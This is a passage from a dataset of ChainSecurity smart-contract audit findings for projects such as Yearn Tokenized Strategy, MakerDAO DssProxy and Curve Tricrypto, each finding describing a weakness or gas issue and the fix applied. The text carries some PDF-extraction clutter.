index IDX_DYNAMIC_LENGTH to exit correctly, the alternative return statements at lines 226 and 343 are superfluous and should never happen. Function setupDynamicTuple now reverts if no terminating index is found for a dynamic tuple or array. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "6.9 DELEGATECALL and SELFDESTRUCT", "body": " The VM abstract contract allows DELEGATECALL to the address specified in the command. Any contract that will inherit this functionality must not perform a call to an arbitrary user-specified address. The delegate call to an address that has a bytecode with SELFDESTRUCT opcode will cause permanent destruction of the smart contract. Thus, it is important to allow DELEGATECALL only to trusted smart contracts. Enso responded: We have removed delegate calls from the VM entirely as there was both risks to the contract via self destruct as well as the ability to change storage values of the importing contract, potentially bricking the contract. Enso - Enso-Weiroll - 14 DesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "7.1 Calls to Addresses With No Code", "body": " The low-level delegatecall, call, and staticcall operations will succeed when used with addresses with no code, however, in the VM there seems to be no reason to use them on addresses with no code, excluding the precompiled contracts. Only VALUECALL has a reason for being used on an address with no code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "7.2 Floating Pragma", "body": " Enso-Weiroll uses the floating pragma ^0.8.16. Several assumptions about the layout of memory are made in the code, which could potentially change without a major version upgrade. Any solidity compiler version needs to be carefully tested before the deployment of the code to ensure stable functionality. Enso - Enso-Weiroll - 15 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enso-weiroll-smart-contracts/"}, {"title": "5.1 Outdated Compiler Version", "body": " The project uses an outdated version of the Solidity compiler. pragma solidity 0.6.6; in Known https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1416 version bugs ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "0.6.6 ", "body": " 0 0 0 2 are: More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.6.12. For version 0.6.x the most recent release is 0.6.12 which contains some bugfixes but no breaking changes. The compiler was not changed as the client responded: We will address this later for an overall code review. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "5.2 _weth Could Be a Constant", "body": " The constant _weth which represents the same address across all Enzyme Bridges could be set as constant. This would reduce unnessesary storage operations. Acknowledged: Avantgarde Finance - Unslashed-Enzyme Bridge - 8 DesignCorrectnessCriticalHighMediumLowRiskAcceptedAcknowledgedDesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \fAvantgarde Finance is aware of this and commented that it does have a significant impact as the variable will be accessed a few times only. Avantgarde Finance - Unslashed-Enzyme Bridge - 9 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Denomination Asset Check on Initialization Redeem Shares Return Value Not Used withdrawEthToInvestor Specification Discrepancy 0 0 0 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "6.1 Denomination Asset Check on Initialization", "body": " For the correct operation of the bridge, it is critical that the denomination asset of the vault is correctly set to WETH during initialization. Such a check is not present in the code. Code Changed: A check has been introduced in the initialize function require(IComptrollerProxy(controllerProxy).getDenominationAsset() == weth, \"EnzymeBridge: wrong fund asset\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "6.2 Redeem Shares Return Value Not Used", "body": " The return values of IComptrollerProxy(_controllerProxy).redeemShares() and IComptrollerProxy(_controllerProxy).redeemSharesDetailed(...) are not used. Both functions return the payout assets and amounts. Instead, the resulting amount of tokens is checked using balanceOf(...), incurring additional gas costs. The benefit of the current implementation is the fact that one can withdraw tokens that were already in the vault before the redemption. However, this choice is inconsistent with the later choice to only send the ether which was recently unwrapped. Avantgarde Finance - Unslashed-Enzyme Bridge - 10 CriticalHighMediumLowCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fuint256 result = IWETH9(_weth).balanceOf(address(this)); IWETH9(_weth).withdraw(result); // returns eth to us IInvestable(_investor).receiveEthFromFund{value: result}(); Code Corrected: return value of redeemShares and The code has been changed so redeemSharesDetailed. Moreover, the returned result is used to ensure that only one returned asset is used. Finally, the code now withdraws a consistent amount of WETH and ETH. of it uses the (, payoutAmounts) = IComptrollerProxy(_comptrollerProxy).redeemShares(); .... (, payoutAmounts) = IComptrollerProxy(_comptrollerProxy).redeemSharesDetailed(sharesQuantity, empty, empty); ... require(payoutAmounts.length == 1, \"EnzymeBridge: fund not converted\"); ... uint256 result = payoutAmounts[0]; IWETH9(_weth).withdraw(result); // returns eth to us IInvestable(_investor).receiveEthFromFund{value: result}(); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "6.3 withdrawEthToInvestor Specification", "body": " Discrepancy The comment for withdrawEthToInvestor reads as follows: Note that due to possible sha re value rounding the resulting amount may be slightly greater than requested . Another rounding error may happen when the shares' quantity required is calculated: uint256 sharesQuantity = amount.mul(PRECISION_18E).div(shareValue18ePrecision); Consider the case when the share value is not affected by rounding errors. Due to possible rounding errors when the shares' quantity is calculated, the shares' quantity required to receive the amount in WETH may be underestimated. Hence the Ether amount withdrawn might be slightly smaller and thus the comment does not hold. Specification Changed: The documentation correctly now states: /// Note that due to possible share value or division rounding /// the resulting amount may be slightly greater or smaller than requested. Avantgarde Finance - Unslashed-Enzyme Bridge - 11 CorrectnessLowVersion1Speci\ufb01cationChanged \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The bridge contract in scope for this review connects Unslashed to Enzyme which consists of many interacting contracts. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "7.1 Illiquid Lending Providers", "body": " The basket can only withdraw when all assets of the fund have been exchanged into WETH. Illiquid liquidity protocols may be unable to redeem a large amount of tokens at times. Hence a fund manager may be unable to redeem all assets into their underlying. E.g. a large amount of WETH has been lent into the Aave liquidity pool. When the fund manager wants to redeem this large amount of derivative tokens back into the underlying WETH, it could be the case that the liquidity may be insufficient as currently a large amount of WETH is lent out. During this period Ether withdrawal is blocked. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "7.2 Migration to New Enzyme Release Is Not", "body": " Supported This Enzyme Bridge in connection with the current implementation of the Basket contract does not support the migration of a fund to a new release of Enzyme. When a fund is upgraded in Enzyme, the ComptrollerProxy is replaced by a new one while the old one is selfdestructed. The VaultProxy holding the funds remains. After such a migration all calls from the bridge to the comptroller will fail as the contract no longer exists. This affects all three functions ( deposit / withdraw / getBalance ). Note that function setFund() of the basket contract cannot be used to recover from this situation: This function requires the fund's balance to be 0. The call to the non-existing comptroller will revert the transaction. All shares should be redeemed before a migration is initiated. Shares remaining after a migration might be stuck with the current code. After looking at the migration scripts present, we understand that the EnzymeBridge is to be used via a Proxy. This would allow to upgrade the implementation and recover the shares. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "7.3 No Fees", "body": " Funds of Enzyme can configure fees investors have to pay in order to participate in a fund. These fees are paid to the fund manager in the form of shares. Note that the implementation of the Enzyme Bridge relies on the fact that the basket is the only shareholder of the fund and no other address holds such shares. Hence enabled fees for the fund are not compatible with the bridge, funds of the bridge must not have fees configured. Avantgarde Finance - Unslashed-Enzyme Bridge - 12 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/unslashed-enzyme-bridge/"}, {"title": "6.1 file() Has No Access Control", "body": " Function file() can add and remove valid domains and should be called carefully by governance. However, the function lacks access control. Access control was added to file(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-teleport/"}, {"title": "6.2 finalize_register_teleport() Only", "body": " Possible When Open Calling finalize_register_teleport() on Starknet allows users to take the slower route through Starknet message passing to L1 to prevent censorship by the oracles and ensure availability if oracles are down. However, given that the function is not callable if the bridge is closed, the system, in contrast to the Teleport for Optimism and Arbitrum, is not fully trustless, as users could be censored by closing the teleport instance. Further, censored users that had their L2 DAI burned, will not be able to recover it. The precondition of finalize_register_teleport() has been removed. MakerDAO - Starknet Teleport - 10 CriticalHighMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedSecurityMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f6.3 No Event for finalize_teleport() finalize_teleport() emits no event in contrast to other functions (e.g. initiate_teleport()). Emitting more events could lead to a better user-experience and easier integration with front-ends. An event has been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-teleport/"}, {"title": "6.4 Unused Code", "body": " l2_dai_teleport_gateway prepares a payload in initiate_teleport() even though it remains unused. l2_dai_teleport_gateway has several unused imports: BitwiseBuiltin hash2 assert_le is_not_zero get_contract_address uint256_lt uint256_check Unused imports and unused code were removed. MakerDAO - Starknet Teleport - 11 DesignLowVersion2CodeCorrectedDesignLowVersion1CodeCorrected \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-teleport/"}, {"title": "6.1 Rogue Strategy Can Override Storage", "body": " Core accounting logic is done by the code of TokenizedStrategy which is executed as Delegatecall inside the context of the strategy. The documentation states the following: In order to limit the strategists need to think about their storage variables all TokenizedStrategy specific variables are held within and controlled by the TokenizedStrategy. A BaseStrategyData struct is help at a custom storage location that is high enough that no normal implementation should be worried about hitting. CS-YTS-004 This means all high risk storage updates will always be handled by the TokenizedStrategy, can not be overriden by a rogue or reckless strategist and will be entirely standardized across every strategy deployed, no matter the chain or specific implementation. A rogue or reckless strategist can overwrite any storage slot, including those at the address keccak256(\"yearn.base.strategy.storage\") - 1 and subsequent addresses. While a genuine strategy wouldn't do this and the concept to separate the storage ensures that with high probability a specific implementation is unlikely do to so by accident, a rogue or reckless strategies can do so intentionally. Specification changed: Yearn acknowledged this risk and corrected the specification. Yearn - Tokenized Strategy - 12 CriticalHighMediumSpeci\ufb01cationChangedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedRiskAcceptedSpeci\ufb01cationChangedCorrectnessMediumVersion1Speci\ufb01cationChanged \f6.2 Initializing TokenizedStrategy The deployed instance of TokenizedStrategy is only intended to be used via Delegatecall by the custom strategies. However the functions of the contract are also directly callable. For example the first caller of TokenizedStrategy.init() can initialize the contract. While this doesn't break it's intended use as base for the delegatecalls, it's not desirable. It's worth noting that after initialization, deposits will still fail due to the callback to the invest() function. Other functions may execute successfully, such as approvals, role assignments, and parameter updates. CS-YTS-008 A constructor has been added to TokenizedStrategy which initializes the implementation with _strategyStorage().asset=address(1). As a result, further direct calls to initialize() will revert. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "6.3 Non ERC-4626 Compliant Functions", "body": " maxMint may revert due to an overflow in a calculation, however according to the specification this function must not revert. This may happen in an edge case the availableDepositLimit returns a large number and pps<1, convertToShares may overflow. CS-YTS-007 function maxMint(address _owner) public view returns (uint256 _maxMint) { _maxMint = IBaseTokenizedStrategy(address(this)).availableDepositLimit( _owner ); if (_maxMint != type(uint256).max) { _maxMint = convertToShares(_maxMint); } } In case the strategy is in shutdown mode, no further deposit can be made. However, maxDeposit() may not return 0 when the strategy is shutdown. The ERC-4626 specification however requires the function to return 0 in this case: ... if deposits are entirely disabled (even temporarily) it MUST return 0. More informational, the ERC-4626 specification is loosely defined in these corner cases for these functions. Nevertheless we want to highlight the potentially unexpected amounts returned: previewRedeem(): In case totalAssets is zero, the conversion is done at a 1:1 ratio. At this point either no shares exist (I) or the value of the existing shares has been dilluted to 0 (II). For (I) the returned value of 0 is appropriate. For (II) previewRedeem() does not revert while redeem() reverts; the specification reads: Yearn - Tokenized Strategy - 13 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fMAY revert due to other conditions that would also cause redeem to revert. previewWithdraw() returns the amount in a 1:1 exchange rate when assets==0 but shares!=0. Again for non-zero values the amount returned may be misleading. Strictly speaking the value returned is not breaking the specification but might be unexpected by the caller. The caller should be aware of this and any external system should exercise caution when integrating with these functions. A comment has been added to availableDepositLimit to alert the strategist of the potential overflow of maxMint() if the deposit limit is too large. In addition, maxDeposit() and maxRedeem() have been updated to return 0 when the strategy is shutdown. previewWithdraw() and convertToShares() have been adjusted to return 0 instead of pps=1 in case assets==0 but supply>0. Yearn also acknowledged return value of previewRedeem() if all shares are diluted to 0. Strategists and external systems are expected to be aware of these behaviors. the potential misleading non-zero ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "6.4 Payable Fallback Functions", "body": " The fallback function of `BaseTokenizedStrategy` is marked as payable. However, the code of the delegatecalled TokenizedStrategy contract doesn't feature any functionality able to receive Ether. Any such call with a non zero msg.value will revert. Furthermore, there is a receive() function: CS-YTS-006 /** * We are forced to have a receive function do to * implementing a fallback function. * * NOTE: ETH should not be sent to the strategy unless * designed for within the Strategy. There is no defualt * way to remove eth incorrectly sent to a strategy. */ receive() external payable {} There is no requirement to implement a receive function when incorporating a fallback function. In the absence of a receive function, plain Ether transfers would be handled by the fallback function, which then delegatecalls into the TokenizedStrategy. However, this would cause the call to revert since the contract does not support Ether reception. By including a receive function, the strategy can be enabled to accept Ether. As the comment states, Ether shouldn't be sent to the strategy unless the strategy is design for it. For https://docs.soliditylang.org/en/v0.8.18/contracts.html#receive-ether-function information please more refer the to Solidity documentation: The payable modifier and the receive function have been removed to avoid unintentional Ether reception. Yearn - Tokenized Strategy - 14 DesignLowVersion1CodeCorrected \f6.5 Problematic Self-Minting When Fee Recipient Is the Contract Itself CS-YTS-005 Transferring shares of the strategy to itself is prevented since it can interfere with the locked shares mechanism which guards against abrupt price per share increases. Unlike _transfer(), _mint() does not feature this restriction since it is intended to mint shares for this contract as part of the profit locking mechanism. An explicit check must be done in the function calling _mint(). While this is done in _deposit(), such a check isn't done on the fee recipients. When the performanceFeeRecipient is set as the strategy itself, it becomes possible to mint additional shares to the strategy, which are not intended to be locked shares. Once enough time passes and the fullProfitUnlockDate is reached, _unlockedShares() will treat the entire balance of this contract, including these additional shares, as unlocked shares. if (_fullProfitUnlockDate > block.timestamp) { unchecked { unlockedShares = (S.profitUnlockingRate * (block.timestamp - S.lastReport)) / MAX_BPS_EXTENDED; } } else if (_fullProfitUnlockDate != 0) { // All shares have been unlocked. unlockedShares = S.balances[address(this)]; } Due to the presence of extra shares, there may be a sudden increase when querying the unlockedShares just before and right after the fullProfitUnlockDate. This effect may have an impact whenever _totalSupply() is called and may influence the the price per share. Additionally process_report() is affected. In case the fullProfitUnlockDate has already been reached these shares would simply get burned in _burnUnlockedShares(). Otherwise these shares will be considered as part of the previouslyLockedShares and are locked in the new locking period. Note as this is an increase of the previouslyLockedShares it will impact the calculation of and reduce the newProfitLockingPeriod: // new_profit_locking_period is a weighted average between the remaining // time of the previously locked shares and the PROFIT_MAX_UNLOCK_TIME uint256 newProfitLockingPeriod = (previouslyLockedShares * remainingTime + sharesToLock * _profitMaxUnlockTime) / totalLockedShares; The issue description focuses on the performanceFeeRecipient as fee recipient, in theory the same situation could arise if the protocolFeesRecipient is set as the strategy contract. An extra check has been added in setPerformanceFeeRecipient() as well as in init() which prevents setting the fee recipient to address(this). Risk accepted: Yearn - Tokenized Strategy - 15 CorrectnessLowVersion1CodeCorrectedRiskAccepted \fThe protocolFeeRecipient is set once for all strategies by Yearn Governance and should not be an issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "6.6 Staticcall", "body": " CS-YTS-009 * Using address(this) will mean any calls using this variable will lead * to a static call to itself. Which will hit the fallback function and * delegateCall that to the actual TokenizedStrategy. ITokenizedStrategy internal TokenizedStrategy; The comment says that using address(this) will result in a static call to itself, but the term \"static call\" might be misleading. In Ethereum, a \"static call\" typically refers to a STATICCALL, which is a read-only call that cannot modify the contract state. However, in this case, the comment seems to be referring to the fact that the call will simply be to the contract itself. Such calls can lead to state changes. Specification changed: Yearn has rephrased the comment to avoid misunderstandings. A legitimate strategist should not use this variable for state-changing calls. Yearn - Tokenized Strategy - 16 CorrectnessLowVersion1Speci\ufb01cationChanged \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "7.1 Uncovered Loss Not Visible in Reported Event", "body": " An event Reported will be emitted after report() is called. If an uncovered loss has been realized, this crucial information won't be visible in the event. In case a net loss occurs, price per share decrease (pps) instantly. Revealing this in the event may be useful. event Reported(uint256 profit,uint256 loss,uint256 performanceFees,uint256 protocolFees) CS-YTS-001 Yearn states: The event is meant to match the Vaults event as close as possible and only reveal the amounts determined within the report call. It should be expected that most reports in strategies will be done after all shares have been unlocked since the previous reports, and therefore any loss will cause a PPS decrease. Specific strategies can use this functionalities if desired to offset losses but is not normal behavior, simply extra functionality. PPS is not tracked on chain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "7.2 Use ADDRESS Instead of SLOAD", "body": " BaseTokenizedStrategy.initialize() sets the storage variable TokenizedStrategy to the address of the executing context: CS-YTS-002 // Set instance of the implementation for internal use. TokenizedStrategy = ITokenizedStrategy(address(this)); To call itself, the code of the BaseTokenizedStrategy and the custom strategy implementation would use this variable which results in an SLOAD operation. Note that opcode ADDRESS (in solidity address(this)) would return the same address (the address of the executing account) and is significantly cheaper. Yearn states: The setting of the `TokenizedStrategy` variable in initialization is meant to make it as simple as possible for a strategist to access readable data from the StrategyData struct so having an extra SLOAD is Yearn - Tokenized Strategy - 17 InformationalVersion1InformationalVersion1 \fworth the reduced complexity of not having to understand what is being called, just that the variable will work. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "7.3 tendTrigger", "body": " The description of TokenizedStrategy.tend() reads: * @dev Both 'tendTrigger' and '_tend' will need to be overridden * for this to be used. However this is not enforced in the code, where tendTrigger() has no effect on tend(), e.g. it could return false and tend() may still execute successfully. CS-YTS-003 Yearn states: `tendtrigger` is only to be used off chain, by a keeper bot or management to easily determine if tend should be called, not a requirement for it to be. Tend is able to be called at any point even if the trigger does not say it should. Yearn - Tokenized Strategy - 18 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "8.1 Withdraw With Unrealized Loss", "body": " In case there is an unrealized loss, the most vigilant users will come to withdraw funds directly from the idle to avoid the loss. As a result, the tardy users will take the unrealized loss. Besides, tardy users may take an unrealized loss in different ways depending on the actual implementation of _freeFunds(). If custom strategy implementation simply tries to free the funds from the yield source as closer to the requested amount as possible or simply reverts due to insufficient funds, the remaining funds will be withdrawn in a FCFS way where the last users will take all of the unrealized loss and get nothing back. If custom strategy implementation distributes the unrealized loss according to the accounting variables in StrategyData, then all tardy user will share the unrealized loss proportionally. Different strategists may take different choices, whereas the vigilant users can always drain the idle regardless of the unrealized loss in both cases. Yearn states: So for the most part those types of decisions are to be left to the strategist to determine what to do in _freeFunds(). The majority of strategies will likely simply withdraw the amount requested, since its 1. not applicable and 2. would require a lot more gas and code to check the actual current state and calculate the full unrealized loss etc. Though if a strategy expects to have this be a common case (like with an options strategy) that specific strategist can add whatever they wish to _freeFunds. It is recommended that _freeFunds revert if losses would be realized by temporary situations. Such as liquidity constraints, that are not expected to last, rather than count it as a loss. While its possible there are unrealized losses, normal behavior is to not account for those in between reports, but rather losses are handled withdraw by withdraw. Though that can lead to disproportionate amounts depending on when funds are withdrawn its much cheaper and simpler considering its a non-issue for the majority of strategies and the ones it is can choose how to deal with it. Yearn - Tokenized Strategy - 19 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-tokenized-strategy/"}, {"title": "6.1 DssProxy Constructor Does Not Emit", "body": " SetOwner Event The constructor of DssProxy does not emit a SetOwner event. Consider emitting an event here to reflect this important storage change. constructor(address owner_) { owner = owner_; } The constructor now emits the setOwner event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "6.2 Optimization of delegatecall Success", "body": " Check The success check in the execute function of the DssProxy contract is as follows: assembly { let succeeded := delegatecall(/*...*/) /*...*/ switch iszero(succeeded) MakerDAO - Dss Proxy - 10 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f case 1 { revert(add(response, 0x20), size) } } However, as delegatecall can only return 0 or 1, the iszero is unnecessary. Instead, one can simply check for case 0. With optimization enabled, this change saves 9 gas and 4 bytes of bytecode. The optimization has been implemented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "6.3 Possible Failure of create2", "body": " It is possible for the create2 operation to fail, in which case the returned address will be 0. This failure is not checked, which would result in isProxy[0] being set to 1. Additionally, the owner's seed would be incremented despite not having deployed a contract. assembly { proxy := create2(/*...*/) } proxies[owner_] = proxy; isProxy[proxy] = 1; The code now ensures that the DssProxy has been successfully created: require(proxy != address(0), \"DssProxyRegistry/creation-failed\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "6.4 Possible Optimization in Proxy Check of", "body": " Registry In the claim function of the DssProxyRegistry, the following check is made: require(isProxy[proxy] == 1, \"DssProxyRegistry/not-proxy-from-this-registry\"); The isProxy mapping only contains the values 0 or 1. Hence, checking the condition == 1 is functionally equivalent to checking the condition != 0. The latter check is more efficiently compiled, it saves 6 gas and reduces bytecode by 3 bytes. MakerDAO - Dss Proxy - 11 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe optimization has been implemented. MakerDAO - Dss Proxy - 12 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "7.1 No Event on execute", "body": " Integrations must be aware that compared to the DSProxy it replaces, DssProxy no longer emits a event on execute(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "7.2 isProxy Might Point to Addresses Without", "body": " Code When creating a proxy with the build function, an entry is created in isProxy, which maps the address of the new proxy to 1 : function build(address owner_) external returns (address payable proxy) { /*...*/ isProxy[proxy] = 1; } This entry cannot be modified. Hence, a proxy that has been selfdestructed would still appear in isProxy like a valid proxy. A selfdestructed proxy in the isProxy mapping would have prevented creation of a new proxy for the owner using DssProxyRegistry.build(): Retrieving the owner would have reverted. The implementation of DssProxyRegistry.build() has been changed to handle this case. MakerDAO - Dss Proxy - 13 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-proxy/"}, {"title": "5.1 Asymmetrical Norm in Price Update Threshold", "body": " In the tweak_price function the norm value is calculated to determine whether the distance between price_oracle and price_scale is sufficiently large so that a price update should be tried. To calculate the norm, the ratios between the price_scale and price_oracle are used. However, the ratios aren't treated symmetrically, i.e. if price_oracle = price_scale * 1.1 then the value 0.1^2 is added to the norm, but if the ratio is reversed, price_oracle * 1.1 = price_scale, then the value 0.09^2 is added. This means the price update is more sensitive to changes where the price oracle is too high, than when it is too low. Acknowledged: As typical differences between price_scale and price_oracle are between zero and five percent, the effect is not as large. Hence, Swiss Stake GmbH decided to not make any more changes at the moment ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "5.2 Missing Boundary or Sanity Checks When", "body": " Initializing Most variables have implicitly or explicitly enforced minimal and maximal values or should not take certain values like address zero. These are enforced when changing the values or given the ownership through a claiming scheme. However, there are no sanity checks or any checks at all when initializing the contract. Mistakes can happen and silently set one of the values to an obviously incorrect value. Swiss Stake GmbH - Tricrypto - 9 DesignCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedDesignLowVersion3AcknowledgedDesignLowVersion1Acknowledged \fAcknowledged Swiss Stake GmbH is aware of the issue and confident no deployment errors will happen. In case of a factory contract the issue needs to be reconsidered. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "5.3 Potential Gas Savings in tweak_price", "body": " The following code is present in the tweak_price function: xp: uint256[N_COINS] = empty(uint256[N_COINS]) xp[0] = D_unadjusted / N_COINS for k in range(N_COINS-1): xp[k+1] = D_unadjusted * 10**18 / (N_COINS * price_scale[k]) xcp_profit: uint256 = 10**18 virtual_price: uint256 = 10**18 these Most of condition old_virtual_price > 0 is true. Hence, these variables could be moved inside of the condition to save gas in case the condition evaluates to false. (except xcp_profit) are only used when variables the Acknowledged Swiss Stake GmbH acknowledges the issue with the reasoning that gas savings are not significant enough to make a change. Swiss Stake GmbH - Tricrypto - 10 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Certain Token Combination Cause Numerical Errors -Severity Findings Mismatched Bounds Event Information Missing Parameter Check Missing Admin Fees Can Be Claimed Retroactively Packed Getters Can Be More Restrictive Slight Code Simplification 0 0 1 6 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.1 Certain Token Combination Cause Numerical", "body": " Errors If one of the tokens has very few decimals, e.g. Gemini USD which has 2 decimals, and another token either has more than 18 decimals or a fairly low token value, severe numerical errors can arise. Example: Token 0: Gemini USD (GUSD), 2 Decimals Token 1: Another Token (AT), 18 Decimals, 1 AT = 0.005 USD An exchange of 10,000 GUSD to 2,000,000 AT takes place. Note that the amounts don't matter as the error will occur based on the ratio. The price is computed as: p = dx * 10**18 / dy with dx = 10,000 * 10** 2 and dy = 2,000,000 * 10**18 hence, p = 0 In this case the calculated price is zero, which triggers no special checks or fallbacks. This situation PRICE_PRECISION_MUL of 10**8. is even more likely due to the packing of calculated prices and the used Another Example: Token 0: USDC, 6 Decimals Token 1: Another Token (AT), 18 Decimals, 1 AT = 1.00 USD Swiss Stake GmbH - Tricrypto - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrected \fAn exchange of 10,000 USDC to 10,000 AT takes place. Note that the amounts don't matter as the error will occur based on the ratio. The price is computed as: p = dx * 10**18 / dy with dx = 10,000 * 10** 6 and dy = 10,000 * 10**18 hence, p = 10 ** 6 However, during packing this price will be divided by 10**8 and hence become 0. Overall, the project has a good test suite, but it would benefit from tests containing token contracts with different decimals. The price calculation was refactored and changed. The token amounts are now scaled to 18 decimals always instead of relative to the other token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.2 Mismatched Bounds", "body": " The minimum and maximum values for A in the swap contract and the math contract do not match. In fact, the bounds in the math contract are more restrictive, meaning it's possible to ramp to a new value such that the math contract will revert all calls to newton_y and newton_D, basically locking the system until a valid value for A is set. Additionally, the maximum value for gamma also is mismatched, but the bounds are more restrictive in the swap contract, which does not cause any issues. The code was corrected to make sure that the bounds of the math contract and the swap contract match. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.3 Event Information Missing", "body": " The CurveCryptoSwap contract emits different events. When parameter ramping starts, a RampAgamma event is emitted. However, contrary to expectations based on the name, it contains no information about gamma. The relevant information was added to the RampAgamma event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.4 Parameter Check Missing", "body": " Swiss Stake GmbH - Tricrypto - 12 DesignLowVersion3CodeCorrectedDesignLowVersion2CodeCorrectedDesignLowVersion2CodeCorrected \fSystem parameters can be updated by the administrators of the system. When being updated the new values are checked. The price_threshold and the mid_fee can both be updated, however, the fact that: assert new_price_threshold > new_mid_fee will only be checked when the price_threshold is updated and not when mid_fee is updated. The issue was resolved through refactoring. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.5 